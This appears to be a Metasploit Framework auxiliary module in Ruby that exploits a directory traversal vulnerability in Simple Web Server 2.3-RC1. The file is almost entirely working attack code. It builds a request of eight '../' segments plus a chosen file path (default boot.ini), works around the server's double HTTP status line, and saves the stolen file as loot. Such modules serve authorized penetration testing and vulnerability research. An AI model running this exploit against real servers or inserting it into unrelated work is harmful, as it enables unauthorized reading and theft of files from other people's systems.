106 lines
2.7 KiB
Ruby
106 lines
2.7 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Simple Web Server 2.3-RC1 Directory Traversal',
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'Description' => %q{
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This module exploits a directory traversal vulnerability found in
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Simple Web Server 2.3-RC1.
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},
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'References' =>
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[
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[ 'OSVDB', '88877' ],
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[ 'EDB', '23886' ],
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[ 'URL', 'http://seclists.org/bugtraq/2013/Jan/12' ]
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],
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'Author' =>
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[
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'CwG GeNiuS',
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'sinn3r'
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Jan 03 2013"
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))
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register_options(
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[
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OptString.new('FILEPATH', [true, 'The name of the file to download', 'boot.ini'])
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], self.class)
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deregister_options('RHOST')
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end
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#
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# The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual
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# HTTP status -- the second one is what we want. We cannot use the original update_cmd_parts()
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# in Response, because that will only grab the first HTTP status.
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#
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def parse_status_line(res)
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str = res.to_s
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status_line = str.scan(/HTTP\/(.+?)\s+(\d+)\s?(.+?)\r?\n?$/)
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if status_line.empty?
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fail_with(Exploit::Failure::Unknown, "Invalid response command string.")
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elsif status_line.length == 1
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proto, code, message = status_line[0]
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else
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proto, code, message = status_line[1]
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end
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return message, code.to_i, proto
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end
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#
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# The MSF API cannot parse this weird response
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#
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def parse_body(res)
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str = res.to_s
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str.split(/\r\n\r\n/)[2] || ''
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end
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def run_host(ip)
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uri = normalize_uri("../"*8, datastore['FILEPATH'])
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res = send_request_raw({'uri'=>uri})
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if not res
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print_error("#{ip}:#{rport} - Request timed out.")
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return
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end
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# The weird HTTP response totally messes up Rex::Proto::Http::Response, HA!
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message, code, proto = parse_status_line(res)
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body = parse_body(res)
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if code == 200
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if body.empty?
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print_status("#{ip}:#{rport} - File is empty.")
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return
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end
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vprint_line(body)
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fname = ::File.basename(datastore['FILEPATH'])
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p = store_loot('simplewebserver.file', 'application/octet-stream', ip, body, fname)
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print_good("#{ip}:#{rport} - #{fname} stored in: #{p}")
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else
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print_error("#{ip}:#{rport} - Unable to retrieve file: #{code.to_s} (#{message})")
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end
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end
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end
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